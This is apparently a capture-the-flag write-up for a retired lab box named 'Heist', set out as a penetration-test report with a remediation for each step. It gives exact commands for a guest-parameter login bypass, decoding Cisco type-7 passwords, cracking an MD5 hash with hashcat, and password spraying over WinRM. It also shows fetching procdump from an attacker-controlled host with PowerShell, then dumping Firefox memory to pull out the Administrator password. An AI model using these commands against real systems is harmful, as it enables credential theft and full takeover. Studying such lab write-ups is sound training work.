Heist
Summary
Starting with no credentials, I bypassed authentication on a support-ticket web portal using a single URL parameter, then downloaded a Cisco router configuration attached to an open ticket. Three plaintext passwords were recovered in minutes — two by trivially reversing Cisco's fixed-key XOR encoding, one by cracking a weak MD5 hash.
Those passwords were sprayed against Windows Remote Management (WinRM) and matched the Windows account for user chase, giving an interactive remote shell. From that foothold I dumped the memory of a Firefox browser running under chase's session, extracted the local Administrator password it had saved for the web portal, and authenticated as Administrator over WinRM to achieve full control of the server.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered, for chase>"
export PASSWORD2="<the-password-you-recovered, for Administrator>"
export PASSWORD4="<the-password-you-recovered>"
export PASSWORD5="<the-password-you-recovered>"
export HASH2="<the-hash-you-recovered>"
export KEY="<the-key-you-recovered>"Attack path — how the box was taken
Exact commands 1
Service-version and default-script scan of the four key ports.
$ nmap -sV -sC -p 80,135,445,5985 $TARGET -oN heist_nmap.txtExact commands 1
A single request with ?guest=true bypasses the login form and delivers the ticket list.
$ curl -s -L -c cookies.txt -b cookies.txt "http://$TARGET/login.php?guest=true"FixRemove the unauthenticated guest bypass from the support portalCritical
Exact commands 1
Uses the guest session cookie from step 2. Save the output to config.txt for the decode steps.
$ curl -s -b cookies.txt "http://$TARGET/attachments/config.txt"FixProhibit sensitive device configuration files in support ticketsHigh
Exact commands 1
Extracts and reverses every type-7 string in the saved config file.
$ python3 -c "
k='$KEY'
import re
for s in re.findall(r'password 7 (\\S+)', open('config.txt').read()):
b=bytes.fromhex(s); i=b[0]
print(''.join(chr(b[j]^ord(k[(i+j-1)%len(k)])) for j in range(1,len(b))))
"FixReplace Cisco type-7 password encoding with type-8 or type-9 hashingHigh
Exact commands 2
Save the type-5 hash extracted from config.txt.
$ echo "$HASH2" > secret.hashMode 500 = md5crypt. Result: $PASSWORD4.
$ hashcat -m 500 secret.hash /usr/share/wordlists/rockyou.txtFixReplace Cisco MD5 enable secrets with a modern algorithmMedium
Exact commands 3
users.txt: rout3r, admin, hazard, chase, jason, Administrator. passwords.txt: $PASSWORD5, $PASSWORD, $PASSWORD4.
$ nxc smb $TARGET -u users.txt -p passwords.txt --continue-on-successSpray against WinRM; chase:$PASSWORD returns Pwn3d!.
$ nxc winrm $TARGET -u users.txt -p passwords.txtConfirm interactive shell and capture user flag (<user.txt>).
$ nxc winrm $TARGET -u chase -p "$PASSWORD" -x 'whoami && type C:\Users\chase\Desktop\user.txt'
SupportDesk\chaseFixEnforce unique passwords across all systems — no credential reuse between devices and Windows accountsCritical
Exact commands 5
Serve Sysinternals tools from my machine ($ATTACKER_IP).
$ python3 -m http.server 9011 --bind $ATTACKER_IP --directory /path/to/SysinternalsSuiteStage procdump64.exe on the target over the existing WinRM session.
$ nxc winrm $TARGET -u chase -p "$PASSWORD" -x 'powershell -c "(New-Object Net.WebClient).DownloadFile(\"http://'"$ATTACKER_IP"':9011/procdump64.exe\",\"C:\\Users\\chase\\Documents\\procdump64.exe\")"'Identify the live Firefox PID(s) before dumping. PIDs 3856, 6564, 6796 observed during the engagement.
$ nxc winrm $TARGET -u chase -p "$PASSWORD" -x 'tasklist | findstr /i firefox'Full memory dump of a Firefox process. Repeat for each PID found above.
$ nxc winrm $TARGET -u chase -p "$PASSWORD" -x 'C:\Users\chase\Documents\procdump64.exe -accepteula -ma 3856 C:\Users\chase\Documents\firefox.dmp'Search the local copy of the dump for the portal credential field. Returns Administrator password in plaintext.
$ strings firefox.dmp | grep -a 'login_password'FixPrevent browsers from storing credentials for privileged accounts, and restrict WinRM accessCritical
Exact commands 1
Fully-privileged shell as local Administrator; captures root flag (<root.txt>).
$ nxc winrm $TARGET -u Administrator -p "$PASSWORD2" -x 'whoami && hostname && type C:\Users\Administrator\Desktop\root.txt'
SupportDesk\AdministratorExposed services
| 80/tcp | http Microsoft IIS httpd 10.0 |
| 135/tcp | msrpc Microsoft Windows RPC |
| 445/tcp | microsoft-ds? |
| 5985/tcp | http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |